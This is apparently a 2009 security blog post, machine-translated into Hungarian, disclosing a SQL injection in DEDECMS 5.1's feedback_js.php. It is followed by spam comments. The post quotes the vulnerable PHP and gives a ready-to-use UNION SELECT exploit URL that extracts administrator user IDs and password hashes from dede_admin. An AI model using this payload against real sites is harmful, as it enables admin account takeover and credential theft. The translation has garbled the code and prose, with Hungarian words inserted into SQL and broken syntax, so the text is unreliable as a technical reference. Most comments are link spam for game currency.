DEDECMS 5,1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5.1 feedback

DEDECMS 5,1 feedback_js.php 0day

Ez a bejegyzés október 11, 2009

Szerző: st0p Rainy'Fox
Szövege adja a forrást: http://www.st0p.org http://bbs.erpangzi.com/

Ezt a biztonsági rést talált és Rainy'Fox is elérhető abban az esetben magic_quotes_gpc = off

Rése verzió: Cikkek Condo 5,1
Ezt kihasználva, hogy a rendszergazda fiók a háttérben, és titkosítja a hash, kiskapuk léteznek fájl plusz / feedback_js.php, szűretlen paraméterei $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("SELECT id FROM` @ # __ `cache_feedbackurl ahol url = '$ arcurl'");
        / / Itt $ arcurl nincs szűrő
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Mutassa be az eredményt dollárt urlindex feladat egy lekérdezést a $ row ['id'], meg tudjuk építeni SQL utasításokat az alábbi operációs
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ arcID) && empty ($ urlindex)) exit ();
 / / Ha a $ arcID üres vagy $ urlindex üres kilépés
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ arcID)) $ wq = "urlindex = '$ urlindex";
 / / $ ArcID üres, csak fölött végrehajtásának eredményeiről lesz hozzárendelve $ wq az alábbi műveleteket végeztek.
 = " aid=' $arcID ' " ; else $ wq = "támogatás = '$ arcID";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; QueryString $ = "SELECT * FROM` @ # __ `visszajelzést ahol a $ wq és ischeck = '1 'rendezés dtime desc";
 Init ( ) ; Dlist $ -> init ();
 SetSource ( $querystring ) ; Dlist $ -> SetSource ($ QueryString);
 ......

Nézd meg a használatát, hé, zárt használom két szakszervezet

Egy

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'Union válassza a "" és 1 = 2 unió válassza ki 1,1,1, userid, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 a dede_admin ahol 1 = 1 hollandi select * from dede_feedback ahol 1 = 2 és'' = '", ahol a dede_admin'' ='

Jaj, és még ez a srác Rainy'Fox találni vizsgálati cél, amikor azt mondta, valójában bármikor képes a magic_quotes_gpc = on keresztül .... ha ez az ötlet is .. YD is szörnyű, hogy tényleg ennek eléréséhez szektor hálózatot kell a káosz, egy csomó programot, alapértelmezés szerint a PHP magic_quotes_gpc ki van kapcsolva, akkor hívja a saját menekülési részét ... tényleg lehet elérni, hogy a rémálom a PHP program ...

Tudjon · harcművészetek Csalások

365 Responses to "DEDECMS 5,1 feedback_js.php 0day"

A хостинг on november 19, 2009 | Reply
zelo intiresno, hvala
Az a AKfour 7 -én december 1, 2009 | Reply
Állok ma itt, megalázta a feladat előtt [url = http://www.bawwgt.com] DOFUS Kamas [/ url], hálás a bizalmat amit ajándékozott, szem előtt tartva az áldozatok által viselt mi [url = http:/ / www.bawwgt.com] olcsó DOFUS Kamas [/ url]. Köszönöm elnök [url = http://www.bawwgt.com] DOFUS teljesítmény kiegyenlítés [/ url] az ő szolgáltatás [url = http://www . bawwgt.com] vásárolni DOFUS Kamas [/ url], valamint a nagylelkűség és együttműködés Megmutatta az egész ezt az átmenetet.
Az a wsewtoexg on december 3, 2009 | Reply
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
A tedy a december 5, 2009 | Reply
Csak 34 nappal megelőzően 2,0 DOFUS! December 2 lesz itt, mielőtt tudnánk, [url = http://www.bawwgt.com/fr] DOFUS Kamas [/ url]. Az [url = http://www.bawwgt.com / fr] DOFUS Kamas moins chers [/ url] minden játékos fog felfedezni egy teljesen új élményt DOFUS. [url = http://www.bawwgt.com/fr] acheter des DOFUS Kamas [/ url] meg kell elégedni a jelentések és fórumokon. így is [url = http://www.bawwgt.com/fr] achat DOFUS Kamas [/ url], ott ¡ ¯ mindig néhány kedves játékosok a fórumokon.
A vásárolni strattera on december 13, 2009 | Reply
ez egy jó hír. Köszönöm.
Az a Seengart on december 14, 2009 | Reply
huh ... informatív stílusban ..
A web-Natasha on december 16, 2009 | Reply
Vdaka za zaujimavy blog
Az a ConradSimone on március 8, 2012 | Reply
Hát ez nagyon érdekes indeed.Would Szeretek olvasni egy kicsit erről. Csodálja meg értékes információkat kínál a cikkeket.
A Conrad Simone